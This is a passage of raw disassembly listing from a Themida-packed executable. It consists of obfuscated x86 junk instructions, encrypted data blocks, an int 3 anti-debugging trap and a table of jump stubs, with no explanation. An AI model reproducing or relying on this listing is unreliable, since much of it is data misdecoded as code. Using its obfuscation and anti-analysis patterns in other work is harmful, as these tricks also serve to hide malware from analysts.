add [esp+ebp*8+4CC4CEE3h], edx
sub_600879 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60090C proc far ; CODE XREF: sub_600879+87p
; FUNCTION CHUNK AT 006009BC SIZE 00000025 BYTES
add dl, 0DAh
pop esi
sub ah, 97h
jmp loc_600927
; ---------------------------------------------------------------------------
dd 178970DAh, 0D5FF3BDAh, 3CE9B009h
db 0AAh, 0C5h, 0B0h
; ---------------------------------------------------------------------------
loc_600927: ; CODE XREF: sub_60090C+7j
mov bx, si
pusha
stc
mov cx, ax
popa
jmp loc_600949
; ---------------------------------------------------------------------------
db 0D3h, 8, 0A0h
dd 6C3AD078h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh
db 0CAh
; ---------------------------------------------------------------------------
loc_600949: ; CODE XREF: sub_60090C+24j
push ebx
jmp loc_60095E
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dd 305E1AE6h, 6F3A2522h, 22F5CAA3h
db 0B8h, 0BDh
; ---------------------------------------------------------------------------
loc_60095E: ; CODE XREF: sub_60090C+3Ej
pop edx
mov ax, 7F76h
mov ax, cx
clc
sbb eax, 24C45EB6h
mov si, dx
movzx eax, dx
push esi
jp loc_60097C
mov bl, ch
loc_60097C: ; CODE XREF: sub_60090C+68j
pop edi
sub ebx, 94D48CDh
mov esi, edx
pusha
jmp loc_600990
; ---------------------------------------------------------------------------
db 89h
dd 0FF3BDA17h
; ---------------------------------------------------------------------------
loc_600990: ; CODE XREF: sub_60090C+7Aj
mov dx, si
popa
adc dx, 4874h
jbe loc_6009A4
pusha
movzx edi, cx
popa
loc_6009A4: ; CODE XREF: sub_60090C+8Dj
js loc_6009BC
call near ptr locret_6009B5+1
test al, 27h
in eax, dx
sub bl, [ebp-28h]
locret_6009B5: ; CODE XREF: sub_60090C+9Ep
retf 8166h
sub_60090C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 5EC3C3EFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_60090C
loc_6009BC: ; CODE XREF: sub_60090C:loc_6009A4j
jb loc_6009C6
mov dx, 7C70h
loc_6009C6: ; CODE XREF: sub_60090C:loc_6009BCj
call near ptr loc_6009D4+1
xor dword ptr [edi+3Fh], 3C24A44Bh
push edi
lahf
loc_6009D4: ; CODE XREF: sub_60090C:loc_6009C6p
mov ah, 66h
or esi, 66588C47h
mov eax, 5E99F64h
; END OF FUNCTION CHUNK FOR sub_60090C
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 0E932E291h, 6004B3AEh, 0FCEB70Fh, 58Eh, 7F43BA00h, 0F6161B5h
dd 0A81h, 4890F00h, 66000000h, 80E7C1BBh, 0E680A6F1h, 0EE9F9BFh
dd 99000000h, 186E68B4h, 88726ABBh, 0C5A6C518h, 5E9A4h
dd 0FA920000h, 6692347Ch, 684BDF81h, 8ACF8B66h, 65B052EFh
dd 850F5758h, 16h, 11E9h, 0F08CA000h, 0E5468E9Dh, 766E5E50h
dd 28FC558Bh, 0BB5F216Fh, 3F579D3Fh, 2D11E181h, 0EE9255Ah
dd 22000000h, 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch, 0D0BF66CCh
dd 6E9A0h, 48F0000h, 159B656Ah, 0CE9h, 0D12F8700h, 12AE5DF8h
dd 36434EE9h, 52EC806Eh, 0E808E680h, 6, 68F62FD6h, 6660FEB0h
dd 66BE9EBBh, 3C4EEA81h, 0DE95A61h, 59000000h, 3BEBC2CCh
dd 0B598A60Eh, 4FA1E100h, 8166F98Bh, 0F0530DAh, 0B88h
dd 5E800h, 469B0000h, 58AD0928h, 0AE9h, 529F4500h, 3554C198h
dd 66662652h, 2FF5DB81h, 0C8A0Fh, 800F0000h, 6, 840Fh
dd 0BF0F0000h, 0DEE80C8h, 665252B1h, 0B95FDF8Bh, 511FCB32h
dd 208D0Fh, 0E8600000h, 0Dh, 0FEAC156h, 95ED08F6h, 0DA74DBD6h
dd 5E8597Ah, 8C000000h, 0DD55F2B0h, 0EE8615Bh, 0E6000000h
dd 0B3EA7D08h, 3FE3ABF9h, 7C757787h, 0CEB70F99h, 0FBBF0F58h
dd 14E9h, 6846100h, 0BBE8DE64h, 8504409Ah, 4ED34501h, 0EAF50205h
dd 0EE9517Bh, 0BE000000h, 0E6E775D8h, 355A26FEh, 51458F78h
dd 8B665904h, 0EFBB66F2h, 0C9C68111h, 5010C9E0h, 48A0Fh
dd 0BB660000h, 0E958F5B9h, 0Eh, 0AC1D99B0h, 6FB4F653h
dd 7BE89E3Dh, 0BF0FFDFDh, 0F28166DBh, 0EE9A2ACh, 16000000h
dd 2FA86AE9h, 0A8931748h, 847119BEh, 0F8DE8B96h, 5F5ED381h
dd 0F5532F93h, 8E95Bh, 0B4550000h, 9326F904h, 0C8812089h
dd 3BEAE181h, 3800Fh, 0B70F0000h, 0FB8B66C2h, 0BF6624B4h
dd 0C78B2DFFh, 3FBA62B4h, 6631B9CBh, 0E8D4F781h, 6E9h
dd 0AFFB2400h, 0F95F22B2h, 599202BBh, 0FC78B53h, 38Bh
dd 0CBBF0F00h, 0BDB45A56h, 13E9h, 9241F00h, 85A48A41h
dd 87CC6CE1h, 1DE8207Ah, 2A74EB25h, 0E8B0Fh, 9E90000h
dd 0F9000000h, 7C14DBB6h, 813EA10Eh, 0A9A835BEh, 0E8F18B44h
dd 5, 4203496Fh, 58F0F7Ah, 0B8000000h, 245D596Ch, 73DB815Eh
dd 6600422Bh, 0E8F8D68Bh, 0Ah, 0A126678Ch, 0B727D266h
dd 880F8F7Dh, 3, 5F81CA80h, 8B66F08Bh, 6E8F9h, 0E9C40000h
dd 245D9E98h, 0E8816659h, 800F9A73h, 0Ch, 68C0Fh, 0D1810000h
dd 2750B111h, 66D68B66h, 0AC5CF681h, 9EEB8166h, 0D38B5649h
dd 8E9F95Bh, 38000000h, 0DF2A9732h, 66ADDD06h, 0E9CC47B8h
dd 9, 0EECA325Dh, 319D85D8h, 0A9B966F8h, 13860F46h, 0E9000000h
dd 0Eh, 0EFF0E32h, 757FF2A2h, 0DF0B9FF4h, 8B668A31h, 17800FFBh
dd 0E8000000h, 0Bh, 5DADA8F8h, 0ECA2B831h, 0F7F8D51h, 8Ch
dd 5E85F00h, 0FF000000h, 1A22CFB0h, 5ECE8B57h, 3860F5Bh
dd 66000000h, 0CE8CE8Bh, 88000000h, 97D943E7h, 6A111A3Bh
dd 0B6EF32E0h, 0BE95FB5h, 0A1000000h, 0DCF75116h, 0A6D6963Eh
dd 0CE81B190h, 3C49F9EBh, 7E850h, 24F90000h, 0E6CCBD33h
dd 0DE885h, 65710000h, 80BCDE50h, 1FC1E531h, 5F2AD321h
dd 0F08A5B5Fh, 0BAE9B866h, 0B8FCFA8Bh, 7F0CD447h, 0B866FA8Bh
dd 6BB28AAFh, 7A6D33BFh, 66D88A02h, 403BE681h, 0E9DBBF0Fh
dd 0Dh, 723B6FC2h, 576B54CFh, 0E4DD47C4h, 6ABF6619h, 1830FEEh
dd 0F8000000h, 0FA8BF960h, 0D865B861h, 0B70F79F3h, 60F18BF7h
dd 5E951h, 0FF320000h, 5F711E42h, 6061DF8Bh, 2EE48060h
dd 0F6B1B861h, 666101CAh, 669DF6B8h, 96B3F38Bh, 850Fh
dd 0FF50000h, 0F78BD1B7h, 2880F60h, 52000000h, 0C38B6658h
dd 14E86061h, 0F0000000h, 0C29D5CB6h, 3294BD2h, 68ED2D62h
dd 0BE8A03D1h, 0FCE79D8Bh, 12E96058h, 0C4000000h, 15A1A795h
dd 24BA5261h, 130A2F7Ah, 8FF8031Fh, 0CBC981C5h, 6174D44Ch
dd 13850F61h, 0E9000000h, 0Eh, 4B96D67h, 0FE8B616Ch, 15BA2DF1h
dd 0BF0F8BACh, 0F2CF81F3h, 0F085A73h, 1A8Eh, 10E96000h
dd 0C2000000h, 6F9EDAE0h, 5069DE47h, 0EA119A92h, 0FD4843Fh
dd 8B61F2B7h, 0ACC5B9D8h, 5F50626Dh, 8E0FDE8Bh, 6, 6EC3F681h
dd 66601A75h, 6060C68Bh, 6E961h, 0EF300000h, 9BA281B6h
dd 9E96161h, 0F6000000h, 0A86408A7h, 59090C59h, 0FCC3BF0Fh
dd 3810Fh, 8B660000h, 7E9CEh, 0DEF30000h, 6FAE907Dh, 0DF8B6057h
dd 0B86661F5h, 0BA668912h, 66FC7757h, 66CF21BAh, 6056CA8Bh
dd 0FE9h, 0C9170E00h, 0C6D41A14h, 0F8827802h, 0F8F08174h
dd 5B61B6B4h, 0BECE8B66h, 6342183Bh, 6902FCBBh, 53DE8A28h
dd 14E8h, 83E8F600h, 6B18FE80h, 6020C2EBh, 2E0DB1B9h, 0D60DE9D3h
dd 0F5B5F43h, 28Fh, 80CE8B00h, 8E960EBh, 2F000000h, 0D06E90BDh
dd 0E9A2BB90h, 8, 88E8058Ch, 1FBDEC4Eh, 6E9h, 0B6785600h
dd 8B7E4054h, 2870FCFh, 8B000000h, 0D3BF0FCFh, 8B6650FCh
dd 10E95FC3h, 29000000h, 5157EE23h, 0ED48A5C6h, 573E7FD5h
dd 0BEB1E5A1h, 4D244946h, 0B9FFB70Fh, 73C75B02h, 5E9h
dd 0EFADB200h, 80F9D6CDh, 0DF8B6EC7h, 81F1B70Fh, 61DE8BC0h
dd 0FE948h, 82A10000h, 0C1EA3B47h, 7D32C36h, 9046D35Dh
dd 0B0D98111h, 0E95B97BCh, 8, 88F3C493h, 0AA5C9513h, 0F1B16060h
dd 8B0Fh, 0B8610000h, 3101E829h, 0F2806061h, 6E86188h
dd 0F6000000h, 0CAA718FAh, 0FE39B8C1h, 0F5A5E64h, 589h
dd 0F2816600h, 8E99CFDh, 8A000000h, 0FC3FD22Eh, 66B086FAh
dd 2AF4DB81h, 0AE9h, 0F6BC7400h, 10CCC7AFh, 0FC36F974h
dd 0CE9h, 32781200h, 0E9F353D7h, 0C5B6FB6Dh, 0FF08BB4h
dd 286h, 60CC8A00h, 3840Fh, 0C7800000h, 11E8619Dh, 6000000h
dd 8177032Ch, 0C2B85191h, 527A099Fh, 30C52A25h, 525FD08Bh
dd 0CE9h, 2D9B9D00h, 167FBD0Ch, 6725A117h, 6E95829h, 36000000h
dd 0FFE7A49Ch, 0F7816621h, 9E9D12Ch, 65000000h, 75CA2325h
dd 0BAC55451h, 8166C28Bh, 80D82CC0h, 0AEB553C2h, 83B863B7h
dd 80425A28h, 99B1CDF3h, 45B8F081h, 0DF8136D8h, 6557862Fh
dd 6610E480h, 0E959FAB8h, 11h, 0F374129Bh, 4D6F84B8h, 0C4CC5B25h
dd 59B2641Ah, 0EE816616h, 8166D755h, 0B17161D3h, 12E8BEh
dd 0E8090000h, 0CABEBB3Ch, 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh
dd 0C1816660h, 8B66B320h, 0E85F61D0h, 0Ah, 807B6D69h, 65EA7746h
dd 8E8271Bh, 11000000h, 487115B1h, 608C09B9h, 0F5E5961h
dd 689h, 8C0F00h, 0F000000h, 8Ch, 16B86600h, 3800F4Bh
dd 80000000h, 5E847C3h, 0EB000000h, 0E761B0F1h, 0D9816658h
dd 0FF93BEDh, 581h, 0F2816600h, 8166B71Bh, 66C698F2h, 66D377BAh
dd 0ED26DA81h, 669DC380h, 0BE8D88Bh, 0B6000000h, 4340EF6Ah
dd 0EA1BE80h, 0B360CB2Ch, 5B61FC5Ch, 568BC580h, 8A0F60h
dd 0E9000000h, 0Ch, 0F602674h, 97A6670Ch, 8B86977Eh, 0C1805961h
dd 10E968h, 5FEE0000h, 8691FCECh, 4A9CDC5Dh, 3E442A1Ah
dd 0BB660A4Eh, 8166BA1Ah
dd 0F02EFF6h, 38Dh, 0B0CD8000h, 13E9E681h, 0FF861F2h, 0E957C6B7h
dd 7, 0AE80D3D7h, 59487ADFh, 0DE9h, 0DABD0900h, 0E53F11C9h
dd 7403BB0Fh, 5E98122h, 0A8000000h, 2BB4D215h, 0FD2BF0Fh
dd 80FCCAB7h, 0BF664FCEh, 8B662A1Ah, 66F88BFBh, 0E94E6EBAh
dd 9, 0BEADDB75h, 0E1F73CC4h, 8C381EEh, 0E93D92FBh, 5
dd 0B28E71C3h, 54F381CBh, 0E96B7939h, 9, 51BA61ADh, 3F50EC13h
dd 5830F6Ah, 50000000h, 59CAB70Fh, 0FD78B66h, 8Dh, 0C68B6600h
dd 12E8h, 57C87600h, 3B0B0BBBh, 219C496Eh, 5FB4A632h, 0E9A65852h
dd 7, 0DAB75ECBh, 5FD04B5Bh, 0E2816060h, 707F9561h, 6061F961h
dd 5C44BB66h, 0FF98B61h, 0BE66CEBFh, 0D680470Ah, 0CB8A5133h
dd 4584B859h, 0EE963C7h, 7D000000h, 4D7E0D01h, 0C208153Eh
dd 80BA764Fh, 89EA814Fh, 80596273h, 5156F8CFh, 880F5F5Ah
dd 2, 78B755B0h, 0FADDBE66h, 0F61FC60h, 384h, 0C9BF0F00h
dd 0C8B70F50h, 7E859h, 9AE0000h, 0CC2AD2FBh, 0BE9E5h, 42F30000h
dd 0CA7D280Ah, 0C3D9078Fh, 0C1815A98h, 60A4ECA8h, 6617B3F5h
dd 0C681C78Bh, 68E9BB4Ah, 0CE8h, 0C6BBE400h, 3891B6FFh
dd 82437AD0h, 0C0B70FA1h, 0F1DB815Bh, 0B30AA329h, 28E0FB7h
dd 8A000000h, 0C2BB66E2h, 53B9B54Eh, 68F0Fh, 0EF810000h
dd 77E54E4Fh, 9E9535Ah, 0B9000000h, 47A9E4ADh, 36D9F028h
dd 28F0F5Fh, 0B2000000h, 0B8E0F0Dh, 0F000000h, 588h, 0C0816600h
dd 0E9608B48h, 12h, 26C37F10h, 2308FC35h, 0BC5CC73Fh, 0B7EA599Eh
dd 6661B3C6h, 8B66CA8Bh, 0FE9D1h, 5F270000h, 1B10192Fh
dd 5111C320h, 0AE201038h, 4880F3Fh, 66000000h, 0B66B02B8h
dd 0BB3CB20Eh, 40ADA258h, 8E9FCh, 7B480000h, 0BACA461Dh
dd 8B6689ECh, 5EBA66CBh, 0BCC98148h, 0F0D2DF0h, 0FB8BFEBFh
dd 0FF98B66h, 0C78BF0BFh, 6820Fh, 0D8810000h, 4417CDC2h
dd 6880Fh, 0E7810000h, 47D17263h, 7E9h, 8766D00h, 0EC96A46Dh
dd 2162B866h, 0E8F08160h, 56643415h, 8B60615Bh, 2DBB61F2h
dd 815AF565h, 0FAB069DAh, 0CE952h, 24EC0000h, 4AAA9B84h
dd 5D2F2338h, 8166824Bh, 80A691C1h, 0BE976C3h, 15000000h
dd 0C9806460h, 0E25B53FFh, 0FE93A64h, 0C6000000h, 0A8FCD598h
dd 579A50A1h, 351B635Dh, 0AE96D5Fh, 85000000h, 474D31F8h
dd 852790CCh, 50F98BC2h, 66C68B5Eh, 0F855A9BFh, 0CBC28160h
dd 664E4F4Ah, 0E961FB8Bh, 0Bh, 73C7BC73h, 0BD45F3EFh, 66DAD4BEh
dd 0FC81D4BEh, 8335BF52h, 80582CB0h, 41B58BC5h, 0AE9h
dd 9BC21C00h, 41C9AA38h, 81EA8D4Ah, 0C826ABC3h, 9E876h
dd 0D9A80000h, 71E5617Eh, 0E94462B8h, 10h, 0FC2CD996h
dd 624BFD51h, 29467A25h, 25CFC9B0h, 0C7EF815Fh, 0F4B3BF6h
dd 0DE8F7B7h, 2E000000h, 44882EA0h, 0CDEB5C24h, 7A06A29Ah
dd 11E8h, 5BF28600h, 1635E023h, 0FE83FE8Dh, 377E37B9h
dd 0F88BE2ADh, 0DA815859h, 181D720Dh, 12E8h, 561B6E00h
dd 1CEF3682h, 7FF0DEBCh, 7F00B3E3h, 81BD0773h, 18D005E8h
dd 0F505855h, 0E85FD6BFh, 0Ah, 12AB425Ah, 0BE148DA4h, 8B66FBEDh
dd 8B0F5AC1h, 0Bh, 820F60h, 0F000000h, 6661C0B7h, 0E088C281h
dd 0FD78B66h, 10E9FEBFh, 0F6000000h, 39BBDD5Ch, 6E5E499h
dd 770A5B3Bh, 0FDA45FEh, 1780h, 12E900h, 0EA890000h, 3F8A8A07h
dd 705A73E4h, 195DC509h, 61B42056h, 9B9958B8h, 0E9D4B03Ah
dd 0Bh, 0B59C1D89h, 6CE8597Ch, 81658805h, 0A2793D0h, 4CB8661Ah
dd 1F850FD3h, 0E8000000h, 13h, 3EEAB696h, 5C0E9114h, 6F3BEA35h
dd 0E4AF1D1Ah, 81FDE9A3h, 6A0B9EE0h, 0E9575A77h, 8, 0A03BF5FDh
dd 0BF7080F5h, 0BBEEB358h, 649B6929h, 27CF8166h, 0B8D0F10h
dd 0F000000h, 58Ah, 0DB57BB00h, 0FE93FCBh, 0E7000000h
dd 0CA438285h, 3FCA0D95h, 0EC762924h, 9E9C2C5h, 0B8000000h
dd 0FE0CD82Fh, 0EFA4240Ch, 0BE9h, 0DFF07E00h, 0B87E7E4Ch
dd 760074E9h, 810Fh, 0FF90000h, 840FD0B7h, 3, 0E9C18B66h
dd 14h, 2DB8B21Dh, 0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh
dd 0DE8h, 5C8CAC00h, 8F045273h, 0EC5B0511h, 0E381E538h
dd 23516C0Bh, 0FCA0BA59h, 0B70F29D6h, 58B0FF2h, 66000000h
dd 69F2EE81h, 0B9F18Ah, 53141AFFh, 6E8h, 0EE1B2600h, 8B2E741Fh
dd 8A5A59D9h, 0FE960C5h, 0F9000000h, 0E7196CFCh, 5346D49Ah
dd 0B60933B0h, 8B66B02Bh, 60F861C3h, 0AE9h, 0C9EEBD00h
dd 0A98F8CEDh, 61317988h, 0E181FA8Bh, 0B1EF4B4h, 53C28B66h
dd 11E8h, 0D0A03000h, 1E42FF32h, 0A3DB8371h, 54D1D316h
dd 6160C845h, 0CA805A5Ah, 0B70F601Ch, 94D681F2h, 615BB79Bh
dd 3820Fh, 0E6800000h, 0FD38B0Eh, 0B966FBBFh, 0B70F62EBh
dd 0DB8166FEh, 0BE6602ABh, 8D0F11E4h, 5, 0B265C7BBh, 0F9B70F49h
dd 0CEBF0FF8h, 0EE960h, 4360000h, 1988C9A3h, 787F3FCBh
dd 8FBB1B19h, 0FE9h, 97794600h, 0F71507DBh, 0BB11CDC0h
dd 4DA6BDFDh, 78E0F61h, 0F000000h, 18Eh, 0CB80FC00h, 60B866ACh
dd 0B8565141h, 6567210Eh, 7E85E59h, 10000000h, 0E9D1AEDAh
dd 8B66BB43h, 8B6659C6h, 0BF0FF8F7h, 0F2BF0FCAh, 5E9h
dd 4BFB9000h, 0EA8A3BB0h, 75DB61BFh, 0BE82Fh, 5F650000h
dd 2286CCDDh, 0FF28EC2Bh, 68E0FB8h, 81000000h, 0F39F11DAh
dd 0CF815E59h, 38B5DDEEh, 0DE9h, 30A82500h, 2504E08Ch
dd 0A1A17BACh, 12E9748Fh, 80000000h, 1F0462F8h, 546C29CAh
dd 25B537F6h, 0B70EC33h, 90E280AEh, 0EDB9FA8Ah, 0F3F8310h
dd 0DE9F9B7h, 40000000h, 0C48F71D2h, 40C18CBFh, 0A14BEAE5h
dd 8BDE8B66h, 0E8DE81FEh, 0F4C10F9h, 1781h, 12E900h, 3B6E0000h
dd 0AC0F0023h, 0FA9DC425h, 5478947Dh, 0E79C6712h, 9E857h
dd 991D0000h, 0EC604D40h, 8BECD80Fh, 0F95B59F1h, 6AF081F5h
dd 0F426F2Bh, 1884h, 51BB6000h, 0E9069649h, 0Ch, 7D74660h
dd 0BA85651h, 0CA18A786h, 0F78B6661h, 0F86D480h, 587h
dd 5ABEBF00h, 816625B2h, 810B99F6h, 3AE551F3h, 0E9816603h
dd 0C9813FCBh, 1DE88199h, 83CE8166h, 0E8FE8BE3h, 11h, 0DDDA6918h
dd 0CBF7D619h, 9640FC2Dh, 7E8EA30h, 64B76098h, 5B616160h
dd 97B86660h, 48F281CCh, 617937D2h, 800FFA8Bh, 0Ah, 0C1B70F60h
dd 0E1E5FDBAh, 8166614Fh, 0F73BEC3h, 85h, 5E900h, 45F70000h
dd 0F9B99289h, 8E8h, 124CD300h, 904AF22Fh, 0F30CB955h
dd 0F5B0DC4h, 285h, 0B26CB600h, 0F38166EFh, 0F519CFDh
dd 0E95EC2B7h, 0Eh, 55832B97h, 938C11E4h, 0B21D4FCFh, 12E92DB8h
dd 4C000000h, 0C4DE6844h, 185A0B5Ch, 8B8EC807h, 0D12A894Dh
dd 0E960606Dh, 7, 3959DFA3h, 6691E91Fh, 146ED881h, 6820F61h
dd 0F000000h, 84h, 7B46100h, 82BF00B2h, 5642C4B2h, 10BA665Bh
dd 0D2816624h, 0B70F9347h, 0CE8166C9h, 9CB9038Dh, 0F6A6EEDh
dd 38Ch, 0C2BF0F00h, 0FE9h, 61272C00h, 4AE8B7ACh, 0A342A2FEh
dd 96A28AAFh, 10E9h, 0AF010F00h, 4DE17498h
dd 735F9B77h, 33F81767h, 0CEB0BA31h, 0D18A0744h, 10E8F08Bh
dd 73000000h, 8F1D3AC3h, 2BFD7110h, 5708F0F1h, 0E88D10FBh
dd 7, 0EF43FD19h, 0E9838803h, 14h, 61D5470Ch, 0F5540192h
dd 7D3EE50Ch, 0FEE0B30h, 1BE4672Ah, 80B6585Fh, 840F6060h
dd 0
; ---------------------------------------------------------------------------
movzx esi, si
popa
mov esi, edx
popa
sub eax, 1AB64489h
jmp loc_601A5F
; ---------------------------------------------------------------------------
dw 0FBC2h
dd 0EDDF979Dh, 68E5CE52h, 0E451A599h
db 5Dh, 62h, 0F7h
; ---------------------------------------------------------------------------
loc_601A5F: ; CODE XREF: Themida_:00601A49j
mov ebx, 31C8611Dh
cld
jl near ptr loc_601A82+4
call near ptr loc_601A7D+4
or eax, 0CA8B7D9Bh
int 3 ; - software interrupt to invoke the debugger
cmpsb
mov ebx, 820E1F68h
loc_601A7D: ; CODE XREF: Themida_:00601A6Bp
mov esi, 66398DB3h
loc_601A82: ; CODE XREF: Themida_:00601A65j
mov esi, 0B75ECDA4h
sub ah, [esi-75h]
fimul word ptr [edi]
pop dword ptr [eax+eax]
; ---------------------------------------------------------------------------
db 0
dd 69BB6600h, 1840FDBh, 0FC000000h, 0F3A543BAh, 14E925h
dd 911B0000h, 0E899F52Bh, 10E96CACh, 39F60E0Bh, 2D1742CEh
dd 66564F10h, 665ECF8Bh, 6E9F08Bh, 94000000h, 5E66A5DCh
dd 451EB824h, 0E4BA0D60h, 0B762D55Ah, 5C68BB54h, 0E86008F1h
dd 5, 0E3781947h, 14E83Ah, 0AE5B0000h, 0C5E79AC0h, 0ABF1D4EBh
dd 91A1CBDBh, 82738C71h, 5B5A89F1h, 49731CB8h, 0FFC6153h
dd 382h, 0C78B6600h, 0CF17EA81h, 5E86ECCh, 69000000h, 3522A0D2h
dd 0CE9h, 570A3B00h, 88099D4Dh, 0FB2C9ED9h, 0FF95BD7h
dd 983h, 3850F00h, 66000000h, 830FC18Bh, 0
; ---------------------------------------------------------------------------
jmp loc_601B58
; ---------------------------------------------------------------------------
db 0A1h, 9Ah, 8Eh
dd 0CE921CC5h
; ---------------------------------------------------------------------------
loc_601B58: ; CODE XREF: Themida_:00601B4Cj
add ebx, 26B3CDDh
sub bx, 0CDF5h
mov cx, di
mov dl, ah
adc ah, 0Ch
cmc
mov ax, cx
call near ptr loc_601B82+1
pop ebx
dec ebx
sal bh, 1
xchg eax, ebp
test al, 0C0h
push esp
cli
scasb
xor [ebx], ebp
aad 0ADh
loc_601B82: ; CODE XREF: Themida_:00601B6Fp
mov [esi-7Fh], ah
ficom dword ptr [esi]
xor eax, 0F5E5358h
lea eax, [eax+eax]
; ---------------------------------------------------------------------------
db 0
dd 0A1BF6600h, 6E8CBh, 20BE0000h, 0D4F2494Ch, 5AF88B66h
dd 0E9816651h, 805E0896h, 66F517CCh, 0BDBEE181h, 0BAC2BF0Fh
dd 281B0D93h, 0CA8166F8h, 0B70FF014h, 0ABBA66F6h, 9CBF667Bh
dd 6EE78184h, 0F528277h, 48Ch, 0FBB96600h, 13E918h, 50CF0000h
dd 3F8CFD18h, 2F08F8F6h, 322B2828h, 5E2DADB8h, 81BB66A1h
dd 11E929h, 23080000h, 0BC5CC73Fh, 0B7EA599Eh, 2B15B3C6h
dd 57B93E09h, 3800F59h, 66000000h, 0DF81DA8Bh, 7A35728Ch
dd 66C9F080h, 0F9424FBEh, 0DE9h, 0F179C800h, 5D445FD6h
dd 69B1DD02h, 0C78BE051h, 0E9CFB70Fh, 8, 0ABDA273Fh, 0CB4FEDCAh
dd 0AE9h, 0ECB71000h, 6D1A1F14h, 0A152A2AEh, 67h dup(0B6E014D5h)
dd 0B4h dup(0E2CC0BBDh)
; ---------------------------------------------------------------------------
loc_6020C8: ; DATA XREF: Themida_:0057A638o
mov ebp, 0BDE2CC0Bh
or ebx, [ebx+59h]
jmp short loc_602127
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60212B
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60212F
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_602133
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_602137
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60213B
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60213F
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_602143
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_602147
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60214B
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60214F
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_602153
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_602157
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60215B
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60215F
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_602163
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_602167
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60216B
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60216F
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_602173
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_602177
; ---------------------------------------------------------------------------
pop ebx
pop ecx
jmp short loc_60217B
; ---------------------------------------------------------------------------
pop ebx
loc_602127: ; CODE XREF: Themida_:006020D0j
pop ecx
jmp short loc_60217F
; ---------------------------------------------------------------------------
pop ebx
loc_60212B: ; CODE XREF: Themida_:006020D4j
pop ecx
jmp short loc_602183
; ---------------------------------------------------------------------------
pop ebx
loc_60212F: ; CODE XREF: Themida_:006020D8j
pop ecx
jmp short loc_602187
; ---------------------------------------------------------------------------
pop ebx
loc_602133: ; CODE XREF: Themida_:006020DCj
pop ecx
jmp short loc_60218B
; ---------------------------------------------------------------------------
pop ebx
loc_602137: ; CODE XREF: Themida_:006020E0j
pop ecx
jmp short loc_60218F
; ---------------------------------------------------------------------------
pop ebx
loc_60213B: ; CODE XREF: Themida_:006020E4j
pop ecx
jmp short loc_602193
; ---------------------------------------------------------------------------
pop ebx
loc_60213F: ; CODE XREF: Themida_:006020E8j
pop ecx
jmp short loc_602197
; ---------------------------------------------------------------------------
pop ebx
loc_602143: ; CODE XREF: Themida_:006020ECj
pop ecx
jmp short loc_60219B
; ---------------------------------------------------------------------------
pop ebx
loc_602147: ; CODE XREF: Themida_:006020F0j
pop ecx
jmp short loc_60219F
; ---------------------------------------------------------------------------
pop ebx
loc_60214B: ; CODE XREF: Themida_:006020F4j
pop ecx
jmp short loc_6021A3
; ---------------------------------------------------------------------------
pop ebx
loc_60214F: ; CODE XREF: Themida_:006020F8j
pop ecx
jmp short loc_6021A7
; ---------------------------------------------------------------------------
pop ebx
loc_602153: ; CODE XREF: Themida_:006020FCj
pop ecx
jmp short loc_6021AB
; ---------------------------------------------------------------------------
pop ebx
loc_602157: ; CODE XREF: Themida_:00602100j
pop ecx
jmp short loc_6021AF
; ---------------------------------------------------------------------------
pop ebx
loc_60215B: ; CODE XREF: Themida_:00602104j
pop ecx
jmp short loc_6021B3
; ---------------------------------------------------------------------------
pop ebx
loc_60215F: ; CODE XREF: Themida_:00602108j
pop ecx
jmp short loc_6021B7
; ---------------------------------------------------------------------------
pop ebx
loc_602163: ; CODE XREF: Themida_:0060210Cj
pop ecx
jmp short loc_6021BB
; ---------------------------------------------------------------------------
pop ebx
loc_602167: ; CODE XREF: Themida_:00602110j
pop ecx
jmp short loc_6021BF
; ---------------------------------------------------------------------------
pop ebx
loc_60216B: ; CODE XREF: Themida_:00602114j
pop ecx
jmp short loc_6021C3
; ---------------------------------------------------------------------------
pop ebx
loc_60216F: ; CODE XREF: Themida_:00602118j
pop ecx
jmp short loc_6021C7
; ---------------------------------------------------------------------------
pop ebx
loc_602173: ; CODE XREF: Themida_:0060211Cj
pop ecx
jmp short loc_6021CB
; ---------------------------------------------------------------------------
pop ebx
loc_602177: ; CODE XREF: Themida_:00602120j
pop ecx
jmp short loc_6021CF
; ---------------------------------------------------------------------------
pop ebx
loc_60217B: ; CODE XREF: Themida_:00602124j
pop ecx
jmp short loc_6021D3
; ---------------------------------------------------------------------------
pop ebx
loc_60217F: ; CODE XREF: Themida_:00602128j
pop ecx
jmp short loc_6021D7
; ---------------------------------------------------------------------------
pop ebx
loc_602183: ; CODE XREF: Themida_:0060212Cj
pop ecx
jmp short loc_6021DB
; ---------------------------------------------------------------------------
pop ebx
loc_602187: ; CODE XREF: Themida_:00602130j
pop ecx
jmp short loc_6021DF
; ---------------------------------------------------------------------------
pop ebx
loc_60218B: ; CODE XREF: Themida_:00602134j
pop ecx
